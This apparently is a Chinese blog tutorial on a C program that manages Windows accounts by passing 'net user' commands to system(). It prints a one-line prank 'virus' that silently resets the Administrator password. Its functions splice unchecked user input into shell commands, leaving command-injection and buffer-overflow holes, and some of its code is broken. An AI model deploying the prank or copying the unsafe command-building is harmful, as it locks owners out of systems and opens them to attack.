2000/XP用戶名/密碼終結(jié)者設(shè)計思路與開源

字號:

其實這兩個東西很簡單,就是運用了"system"函數(shù)調(diào)用DOS中的"net user"命令
    簡介"net user": 查看一個用戶的詳細信息:net user *** /*以下的"***"代表用戶名,"###"代表密碼*/
     添加一個用戶 :net user *** /add
     刪除一個用戶 :net user *** /del
     更改一個用戶的密碼 :net user *** ###
    這樣一來,整個東西就清晰多了.
    所以:"不是病毒的病毒"的源代碼就相當簡單(一句話)
    main()
    {
     system("net user administrator woshihaichong");
    }
    這是"不是病毒的病毒"的相關(guān)文件(包括:源代碼,執(zhí)行文件,簡介)
    那好,設(shè)計"2000/XP 用戶名/密碼 終結(jié)者"的大概結(jié)構(gòu)與思路相信大家都有點頭緒了.
    剛開是設(shè)計的時候,我就把它定為 2 個部分:功能部分與引導(dǎo)部分.
    功能部分就是那七個功能的模塊,每個功能都是一個 void 函數(shù),然后在引導(dǎo)體(主函數(shù))中用"switch"調(diào)用.
    2000/XP 用戶名/密碼 終結(jié)者"的主要函數(shù)與思路:
    它用了"switch"(界面的選擇),"system"(DOS命令的調(diào)用),"while(getch()=="")"(按任意鍵繼續(xù)),"strcat"(DOS命令的合成).
    運用"strcat"來合成命令:(比如添加一個用戶的模塊)
    {
     char syscmd[65]="net user ",name[35],fj[]=" /add",kg[]=" "; /*"fj"是"附加","kg"是"空格","syscmd"是需執(zhí)行的命令體*/
        printf("Name=");scanf("%s",&name);printf("\n");
        strcat(syscmd,name);strcat(syscmd,kg);strcat(syscmd,fj); /*用"strcat"把不同的部分合起來,構(gòu)成最終的"syscmd"*/
        system(syscmd);printf("Press Any Key To Continue . . . ");
       while(getch()=="");
    }
    運用"switch"就不用多說了,另外的函數(shù)上面包括了.
    "2000/XP 用戶名/密碼 終結(jié)者"源代碼:
    #include
    #include
    void lau() /*查看所有用戶的函數(shù)*/
    {
        system("net user");printf("\n");
        printf("Press Any Key To Continue . . . ");
        while(getch()=="");
    }
    void caup() /*改變一個用戶密碼的函數(shù)*/
    {
        char syscmd[80]="net user ",name[35],passwork[25],kg[]=" ";
        printf("Name=");
        scanf("%s",&name);printf("\n");
        printf("Passwork=");
        scanf("%s",&passwork);printf("\n");
        strcat(syscmd,name);strcat(syscmd,kg);strcat(syscmd,passwork);
       system(syscmd);
        printf("Press Any Key To Continue . . . ");
        while(getch()=="");
    }
    void aau() /*添加一個用戶的函數(shù)*/
    {
        char syscmd[65]="net user ",name[35],fj[]=" /add",kg[]=" ";
        printf("Name=");scanf("%s",&name);printf("\n");
        strcat(syscmd,name);strcat(syscmd,kg);strcat(syscmd,fj);
        system(syscmd);printf("Press Any Key To Continue . . . ");
        while(getch()=="");
    }